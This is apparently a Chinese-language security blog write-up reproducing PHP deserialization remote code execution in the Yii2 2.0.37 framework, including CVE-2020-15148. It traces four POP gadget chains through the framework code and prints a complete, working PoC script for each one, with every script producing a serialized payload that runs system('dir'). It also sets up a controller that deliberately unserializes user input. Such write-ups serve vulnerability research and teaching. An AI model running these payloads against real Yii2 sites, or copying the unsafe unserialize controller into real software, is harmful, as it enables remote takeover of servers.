yii2.0.37 反序列化
环境搭建
链接如下
https://github.com/yiisoft/yii2/releases/tag/2.0.37
安装后解压到Phpstudy的www目录下(根目录)即可,而后找到config/web.php
文件,添加cookieValidationKey
值(随便写)
此时保存后访问/web/index.php
,如果如下图所示即说明成功安装
注:有时候修改过值后访问这个index.php,这个时候可能是因为PHP版本原因导致的,建议PHP版本用7版本的(我的是7.21.0)
反序列化
RCE1(CVE-2020-15148)
构造pop chain
的方法肯定需要先找一下对应的魔术方法,最常见的便是利用__destruct
利用vscode的全局搜索(ctrl+shift+f)搜索一下__destruct
成功得到一些文件,最终定位到了vendor\yiisoft\yii2\db\BatchQueryResult.php
中的__destruct
下
这里具体代码如下
public function __destruct()
{
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
那么这里的话不难看出此时有两种可调用方法,close
和__call
,因为_dataReader
是可控的,所以我们通过它可以实现调用其他类下的__call
方法
在跟随close
方法后发现没有合适的利用点,接下来查找对应的close
方法
在vendor\fzaninotto\faker\src\Faker\Generator.php
下发现一个较为合适的__call
方法
因为close
方法是无参方法,所以这里的$method
为close,$attributes
为空
接下来跟进format
方法
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
调用了call_user_func_array
函数,看起来有戏,继续跟进,看getFormatter
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
$this->formatters[$formatter]
可控,这意味getFormatter
方法着返回值也是可控的,这就意味着回调函数call_user_func_array($this->getFormatter($formatter), $arguments)
可控,但这里的$arguments
是空,也就意味着我们无法传参,这里的话我们就需要去找yii2框架一个无参函数来执行,或者调用PHP的phpinfo这种方法,但第二种显然不能RCE,因此需要在yii2框架中寻找无参方法
利用Vscode的全局搜索即可,记得打开正则
但数以千计的无参方法实在是太多了,无从下手,从其他师傅那里学到了加上回调函数来进行搜索
function \w*\(\)\n? *\{(.*\n)+ *call_user_func
22个,少了亿点点。
找到vendor\yiisoft\yii2\rest\IndexAction.php
方法,其内有run()方法,具体如下
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
这里的$this->checkAccess
和$this->id
皆可控,这意味着我们可以自己构造函数和参数,RCE这不就有了
简单理一下总思路
1、BatchQueryResult.php->__destruct()
2、BatchQueryResult.php->reset()
3、Generator.php->__call()
4、Generator.php->format()
5、Generator.php->getFormatter()
6、IndexAction.php->run()
bfengj
的师傅Poc如下
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
接下来还需要在写一个控制器
<?php
namespace app\controllers;
class SerializeController extends \yii\web\Controller
{
public function actionSerialize($data){
return unserialize(base64_decode($data));
}
}
至此,复现完成
RCE2
在上个RCE被提交CVE过后官方很快进行了修复,在BatchQueryResult.php
下添加了__wakeup
方法,如果有反序列化直接抛出异常
具体文件内容链接https://github.com/yiisoft/yii2/blob/master/framework/db/BatchQueryResult.php
那这里的话肯定是无法再利用这个文件了,但我们这个时候想到只是这个文件无法再进行利用了,我们不妨再去找另外一个文件来替代这个文件的作用,那找的话肯定也是找一个类似这个__destruct
的,它内部的属性指向另一个方法,这样就可以构造出一条新的pop chain
,接下来就全局搜索一下__destruct
,寻找一下这种方法
发现这个就是一个符合要求的文件
public function __destruct()
{
$this->stopProcess();
}
跟进一下看看
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
这里看到$process->isRunning()
,此时发现$this->processes
,这意味着这个变量我们是可控的,那我们如果传入一个其他类,让他不存在这个方法,就会调用__call
魔术方法,此时就又跟之前联系了起来
总结思路如下
1、RunProcess.php->__destruct()
2、RunProcess.php->stopProcess()
3、Generator.php->__call()
4、Generator.php->format()
5、Generator.php->getFormatter()
6、IndexAction.php->run()
Poc如下
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess="system";
$this->id="dir";
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
public $formatters;
public function __construct(){
$this->formatters['isRunning']=[new IndexAction,'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
public $processes=[];
public function __construct(){
$this->processes[]=new Generator();
}
}
}
namespace{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
?>
RCE3
继续寻找其他的RCE方法
依旧是从__destruct
入手,全局搜索一下
最终确定在DiskKeyCache.php
下的Swift_KeyCache_DiskKeyCache
类中
其内有代码如下
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
跟进clearAll
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}
发现这里并没有可触发__call
的地方,但存在字符串拼接$this->path.'/'.$nsKey
,那么这里就可以考虑触发__tostring
方法,接下来就找一下totring
魔术方法
在Covers.php
下发现一个较为合适的魔术方法,这个就可以用来调用call函数,然后就同之前,达到RCE
总路线
1、DiskKeyCache.php->__destruct()
2、DiskKeyCache.php->clearAll()
3、Covers.php->__toString()
4、Generator.php->__call()
5、Generator.php->format()
6、Generator.php->getFormatter()
7、IndexAction.php->run()
Poc如下
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess='system';
$this->id='dir';
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['render']=[new IndexAction(),'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class Covers{
protected $description;
public function __construct(){
$this->description=new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\Covers;
class Swift_KeyCache_DiskKeyCache{
private $keys=[];
private $path;
public function __construct(){
$this->path=new Covers();
$this->keys=array('give me'=>'flag');
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
成功触发
RCE4
这里的话还是以BatchQueryResult.php
文件中的__destruct
为起点,而后到$this->_dataReader->close()
这里,接下来寻找一个符合close方法的类,最终找到符合条件的文件DbSession.php
跟进getIsActive()
方法
发现无法利用,那就看下一个,跟进composeFields()
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}
发现回调函数call_user_func($this->writeCallback, $this)
,这里$this->writeCallback
是可控的,因此我们这里就可以通过这个调用run()
方法,然后实现RCE,总体思路如下
1、BatchQueryResult.php->close()
2、DbSession.php->composeFields()
3、IndexAction.php->run()
Exp如下
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess='system';
$this->id='dir';
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession{
public $writeCallback;
public function __construct(){
$this->writeCallback=[new IndexAction(),'run'];
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult{
public $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
?>